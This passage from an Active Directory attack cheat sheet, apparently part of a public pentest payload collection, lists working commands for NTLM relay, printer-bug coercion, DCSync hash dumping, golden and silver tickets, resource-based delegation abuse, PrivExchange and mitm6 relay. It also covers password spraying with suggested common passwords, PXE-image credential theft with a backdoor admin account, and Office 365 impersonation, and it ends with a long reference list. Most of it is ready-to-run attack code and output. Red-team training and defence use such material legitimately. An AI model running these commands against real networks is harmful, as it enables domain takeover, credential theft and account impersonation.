TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support
TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc
```
- Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.
```powershell
# create a new machine account
TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support
TERM2> python printerbug.py relaytest.local/testuser@second-dc-server 10.0.2.6
TERM1> getST.py -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME
# connect using the ticket
export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache
secretsdump.py -k -no-pass second-dc-server.local -just-dc
```
### SCF file attack against writeable share
Drop the following `something.scf` file inside a share and start listening with Responder : `responder -wrf --lm -v -I eth0`
```powershell
[Shell]
Command=2
IconFile=\\10.10.XX.XX\Share\test.ico
[Taskbar]
Command=ToggleDesktop
```
### Dangerous Built-in Groups Usage
If you do not want modified ACLs to be overwrite every hour, you should change ACL template on the object CN=AdminSDHolder,CN=System, " or set "adminCount" attribute to 0 for the required objec
AdminSDHolder
```powershell
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
or
([adsisearcher]"(AdminCount=1)").findall()
```
### Trust relationship between domains
```powershell
nltest /trusted_domains
```
or
```powershell
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
SourceName TargetName TrustType TrustDirection
---------- ---------- --------- --------------
domainA.local domainB.local TreeRoot Bidirectional
```
### Child Domain to Forest Compromise - SID Hijacking
Most trees are linked with dual sided trust relationships to allow for sharing of resources.
By default the first domain created if the Forest Root.
Prerequisite:
- KRBTGT Hash
- Find the SID of the domain
```powershell
$ Convert-NameToSid target.domain.com\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502
```
- Replace 502 with 519 to represent Enterprise Admins
- Create golden ticket and attack parent domain.
```powershell
kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt
```
### Unconstrained delegation
> The user sends a TGS to access the service, along with their TGT, and then the service can use the user’s TGT to request a TGS for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
#### Find delegation
Check the `TrustedForDelegation` property.
```powershell
# From https://github.com/samratashok/ADModule
PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
or
$> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10
grep TRUSTED_FOR_DELEGATION domain_computers.grep
```
NOTE: Domain controllers usually have unconstrained delegation enabled
#### Monitor with Rubeus
Monitor incoming connections from Rubeus.
```powershell
Rubeus.exe monitor /interval:1
```
#### Force a connect back from the DC
> SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface
```powershell
# From https://github.com/leechristensen/SpoolSample
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.
```
If the attack worked you should get a TGT of the domain controller.
#### Load the ticket
Extract the base64 TGT from Rubeus output and load it to our current session.
```powershell
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
```
Then you can use DCsync or another attack : `Mimikatz> lsadump::dcsync /user:HACKER\krbtgt`
#### Mitigation
* Ensure sensitive accounts cannot be delegated
* Disable the Print Spooler Service
### Resource-Based Constrained Delegation
Resource-based Constrained Delegation was introduced in Windows Server 2012.
> The user sends a TGS to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
1. Import **Powermad** and **Powerview**
```powershell
PowerShell.exe -ExecutionPolicy Bypass
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1
```
2. Get user SID
```powershell
$AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
$ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
$ACE
ConvertFrom-SID $ACE.SecurityIdentifier
```
3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it
```powershell
New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)
```
4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties
```powershell
$ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
$RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl
```
5. Use Rubeus to get hash from password
```powershell
Rubeus.exe hash /password:'Weakest123*' /user:swktest /domain:factory.lan
[*] Input password : Weakest123*
[*] Input username : swktest
[*] Input domain : factory.lan
[*] Salt : FACTORY.LANswktest
[*] rc4_hmac : F8E064CA98539B735600714A1F1907DD
[*] aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498
[*] aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347
[*] des_cbc_md5 : BA297CFD07E62A5E
```
6. Impersonate domain admin using our newly created machine account
```powershell
.\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt
[*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan'
[*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5)
[*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':
doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD
AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE
LmZhY3RvcnkubGFu
[*] Action: Import Ticket
[+] Ticket successfully imported!
```
### Relay delegation with mitm6
Prerequisites:
- IPv6 enabled (Windows prefers IPV6 over IPv4)
- LDAP over TLS (LDAPS)
> ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.
```powershell
git clone https://github.com/fox-it/mitm6.git
cd /opt/tools/mitm6
pip install .
mitm6 -hw ws02 -d lab.local --ignore-nofqnd
ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
then use rubeus with s4u to relay the delegation
```
### PrivExchange attack
Exchange your privileges for Domain Admin privs by abusing Exchange.
:warning: You need a shell on a user account with a mailbox.
1. Exchange server hostname or IP address
```bash
pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username
```
2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).
```powershell
ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username
```
3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.
```bash
# https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange
# https://github.com/G0ldenGunSec/PowerPriv
powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
```
4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash
```bash
python secretsdump.py xxxxxxxxxx -just-dc
python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm
```
5. Clean your mess and restore a previous state of the user's ACL
```powershell
python aclpwn.py --restore ../aclpwn-20190319-125741.restore
```
Alternatively you can use the Metasploit module
[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420)
Alternatively you can use an all-in-one tool : Exchange2domain.
```powershell
git clone github.com/Ridter/Exchange2domain
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip
```
### Password spraying
Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.
> The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.
#### Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.
> Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).
```powershell
root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
root@kali:~$ python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
```
#### Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network.
```powershell
crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
```
#### Using [RDPassSpray](https://github.com/xFreed0m/RDPassSpray) to target RDP services.
```powershell
python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
```
#### Using [hydra]() and [ncrack]() to target RDP services.
```powershell
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
```
Most of the time the best passwords to spray are :
- Password1
- Welcome1
- $Companyname1
### Extract accounts from /etc/krb5.keytab
The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.
Use [`klist`](https://adoptopenjdk.net/?variant=openjdk13&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23 is the actual NT Hash of the user.
```powershell
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
KVNO: 25
Key type: 23
Key: 6b3723410a3c54692e400a5862256e0a
Time stamp: Oct 07, 2019 09:12:02
[...]
```
Connect to the machine using the account and the hash with CME.
```powershell
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "6b3723410a3c54692e400a5862256e0a" -d "DOMAIN"
CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 6b3723410a3c54692e400a5862256e0a
```
### PXE Boot image attack
PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.
- Press **[F8]** during the PXE boot to spawn an administrator console on the deployed machine.
- Press **[SHIFT+F10]** during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.
```powershell
net user hacker Password123! /add
net localgroup administrators /add hacker
```
- Extract the pre-boot image (wim files) using [PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe)](https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.
```powershell
# Import the module
PS > Import-Module .\PowerPXE.ps1
# Start the exploit on the Ethernet interface
PS > Get-PXEcreds -InterfaceAlias Ethernet
PS > Get-PXECreds -InterfaceAlias « lab 0 »
# Wait for the DHCP to get an address
>> Get a valid IP adress
>>> >>> DHCP proposal IP address: 192.168.22.101
>>> >>> DHCP Validation: DHCPACK
>>> >>> IP address configured: 192.168.22.101
# Extract BCD path from the DHCP response
>> Request BCD File path
>>> >>> BCD File path: \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
>>> >>> TFTP IP Address: 192.168.22.3
# Download the BCD file and extract wim files
>> Launch TFTP download
>>>> Transfer succeeded.
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
>> Launch TFTP download
>>>> Transfer succeeded.
# Parse wim files to find interesting data
>> Open LiteTouchPE_x86.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
>>>> >>>> UserID = MdtService
>>>> >>>> UserPassword = Somepass1
```
### Impersonating Office 365 Users on Azure AD Connect
Prerequisites:
* Obtain NTLM password hash of the AZUREADSSOACC account
```powershell
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
```
* AAD logon name of the user we want to impersonate (userPrincipalName or mail)
```powershell
elrond@contoso.com
```
* SID of the user we want to impersonate
```powershell
S-1-5-21-2121516926-2695913149-3163778339-1234
```
Create the Silver Ticket and inject it into Kerberos cache:
```powershell
mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
```
Launch Mozilla Firefox, go to about:config
```powershell
network.negotiate-auth.trusted-uris="https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com".
```
Navigate to any web application that is integrated with our AAD domain. Once at the Office365 logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER.
## References
* [Impersonating Office 365 Users With Mimikatz - January 15, 2017 - Michael Grafnetter](#https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
* [Abusing Exchange: One API call away from Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin)
* [Abusing Kerberos: Kerberoasting - Haboob Team](https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf)
* [Abusing S4U2Self: Another Sneaky Active Directory Persistence - Alsid](https://alsid.com/company/news/abusing-s4u2self-another-sneaky-active-directory-persistence)
* [Attacks Against Windows PXE Boot Images - February 13th, 2018 - Thomas Elling](https://blog.netspi.com/attacks-against-windows-pxe-boot-images/)
* [BUILDING AND ATTACKING AN ACTIVE DIRECTORY LAB WITH POWERSHELL - @myexploit2600 & @5ub34x](https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/)
* [Becoming Darth Sidious: Creating a Windows Domain (Active Directory) and hacking it - @chryzsh](https://chryzsh.gitbooks.io/darthsidious/content/building-a-lab/building-a-lab/building-a-small-lab.html)
* [BlueHat IL - Benjamin Delpy](https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/BenjaminDelpy.pdf)
* [COMPROMISSION DES POSTES DE TRAVAIL GRÂCE À LAPS ET PXE MISC n° 103 - mai 2019 - Rémi Escourrou, Cyprien Oger ](https://connect.ed-diamond.com/MISC/MISC-103/Compromission-des-postes-de-travail-grace-a-LAPS-et-PXE)
* [Chump2Trump - AD Privesc talk at WAHCKon 2017 - @l0ss](https://github.com/l0ss/Chump2Trump/blob/master/ChumpToTrump.pdf)
* [DiskShadow The return of VSS Evasion Persistence and AD DB extraction](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/)
* [Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin](https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/)
* [Dumping Domain Password Hashes - Pentestlab](https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/)
* [Exploiting MS14-068 with PyKEK and Kali - 14 DEC 2014 - ZACH GRACE @ztgrace](https://zachgrace.com/posts/exploiting-ms14-068/)
* [Exploiting PrivExchange - April 11, 2019 - @chryzsh](https://chryzsh.github.io/exploiting-privexchange/)
* [Exploiting Unconstrained Delegation - Riccardo Ancarani - 28 APRIL 2019](https://www.riccardoancarani.it/exploiting-unconstrained-delegation/)
* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288)
* [Fun with LDAP, Kerberos (and MSRPC) in AD Environments](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments)
* [Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html)
* [Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html)
* [Golden ticket - Pentestlab](https://pentestlab.blog/2018/04/09/golden-ticket/)
* [How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff](https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/)
* [Hunting in Active Directory: Unconstrained Delegation & Forests Trusts - Roberto Rodriguez - Nov 28, 2018](https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1)
* [Invoke-Kerberoast - Powersploit Read the docs](https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)
* [Kerberoasting - Part 1 - Mubix “Rob” Fuller](https://room362.com/post/2016/kerberoast-pt1/)
* [Passing the hash with native RDP client (mstsc.exe)](https://michael-eder.net/post/2018/native_rdp_pass_the_hash/)
* [Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and PowerView)](https://blog.varonis.com/pen-testing-active-directory-environments-part-introduction-crackmapexec-powerview/)
* [Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView](https://blog.varonis.com/pen-testing-active-directory-environments-part-ii-getting-stuff-done-with-powerview/)
* [Pen Testing Active Directory Environments - Part III: Chasing Power Users](https://blog.varonis.com/pen-testing-active-directory-environments-part-iii-chasing-power-users/)
* [Pen Testing Active Directory Environments - Part IV: Graph Fun](https://blog.varonis.com/pen-testing-active-directory-environments-part-iv-graph-fun/)
* [Pen Testing Active Directory Environments - Part V: Admins and Graphs](https://blog.varonis.com/pen-testing-active-directory-v-admins-graphs/)
* [Pen Testing Active Directory Environments - Part VI: The Final Case](https://blog.varonis.com/pen-testing-active-directory-part-vi-final-case/)
* [Penetration Testing Active Directory, Part I - March 5, 2019 - Hausec](https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/)
* [Penetration Testing Active Directory, Part II - March 12, 2019 - Hausec](https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/)
* [Post-OSCP Series Part 2 - Kerberoasting - 16 APRIL 2019 - Jon Hickman](https://0metasecurity.com/post-oscp-part-2/)
* [Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith](https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/)
* [Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv - Thursday, January 31, 2019 - Dave](http://blog.redxorblue.com/2019/01/red-teaming-made-easy-with-exchange.html)
* [Roasting AS-REPs - January 17, 2017 - harmj0y](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)
* [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa)
* [Using bloodhound to map the user network - Hausec](https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/)
* [WHAT’S SPECIAL ABOUT THE BUILTIN ADMINISTRATOR ACCOUNT? - 21/05/2012 - MORGAN SIMONSEN](https://morgansimonsen.com/2012/05/21/whats-special-about-the-builtin-administrator-account-12/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 1](https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 2](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 3](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 4](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-4/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 5](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/)
* [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory - 28 January 2019 - Elad Shami](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
* [[PrivExchange] From user to domain admin in less than 60sec ! - davy](http://blog.randorisec.fr/privexchange-from-user-to-domain-admin-in-less-than-60sec/)
* [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy - March 16, 2017 - harmj0y](http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/)
* [Kerberos (II): How to attack Kerberos? - June 4, 2019 - ELOY PÉREZ](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
* [Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory - Sean Metcalf](https://adsecurity.org/?p=3592)
* [All you need to know about Keytab files - Pierre Audonnet [MSFT] - January 3, 2018](https://blogs.technet.microsoft.com/pie/2018/01/03/all-you-need-to-know-about-keytab-files/)
* [Taming the Beast Assess Kerberos-Protected Networks - Emmanuel Bouillon](https://www.blackhat.com/presentations/bh-europe-09/Bouillon/BlackHat-Europe-09-Bouillon-Taming-the-Beast-Kerberous-slides.pdf)
* [Playing with Relayed Credentials - June 27, 2018](https://www.secureauth.com/blog/playing-relayed-credentials)
* [Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/)
* [Drop the MIC - CVE-2019-1040 - Marina Simakov - Jun 11, 2019](https://blog.preempt.com/drop-the-mic)
* [How to build a SQL Server Virtual Lab with AutomatedLab in Hyper-V - October 30, 2017 - Craig Porteous](https:/www.sqlshack.com/build-sql-server-virtual-lab-automatedlab-hyper-v/)
* [SMB Share – SCF File Attacks - December 13, 2017 - @netbiosX](pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/)
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